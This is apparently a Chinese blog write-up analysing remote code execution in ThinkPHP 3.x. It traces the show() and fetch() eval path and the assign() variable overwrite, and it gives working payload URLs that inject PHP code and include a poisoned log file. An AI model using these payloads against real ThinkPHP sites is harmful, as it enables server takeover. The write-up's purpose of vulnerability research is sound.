其他
thinkphp 3.x rce分析
2.1 show命令执行
入口:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执行</h2><p>注入点:'.$n.'</p>','utf-8');
}
}
下断点:
通过观察$content的值的变化来确定漏洞点,因为要返回到页面上
通过调试找到漏洞点,并缩小范围,可以发现漏洞点在fetch中
跟进fetch
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
当开启PHP原生模板时:
会命令执行模块中的内容
当没使用PHP原生模板时:
会进入exec方法中:
进入run方法
进入Load方法:
这个$_filename其实就是缓存文件,缓存文件的内用就是页面的php代码,从而进行了文件包含
2.2 assign变量覆盖导致rce
1.当assign函数有两个参数可控时:
public function index(){
$a=$_GET[name];
$b=$_GET[from];
$this->assign($a,$b);
$this->display('index');
}
payload:
http://127.0.0.1/?name=_content&from=%3C?php%20phpinfo()?%3E
在这里产生了变量覆盖
覆盖了$_content,造成rce
2.当第一个变量可控时
可以进行日志包含:
注意:在这里如果直接在浏览器中输入内容的话会被转义
如果使用burp改包的话就可以绕过rul编码
日志文件的相对路径:
./Application/Runtime/Logs/Home/22_01_14.log
payload:
http://127.0.0.1/?name[_filename]=./Application/Runtime/Logs/Home/22_01_14.log
public function index(){
$this->assign($_GET['name']);
$this->display('index');
}
index
display
display
fetch
listen
最后在这里造成了变量覆盖,最后导致命文件包含。
往期推荐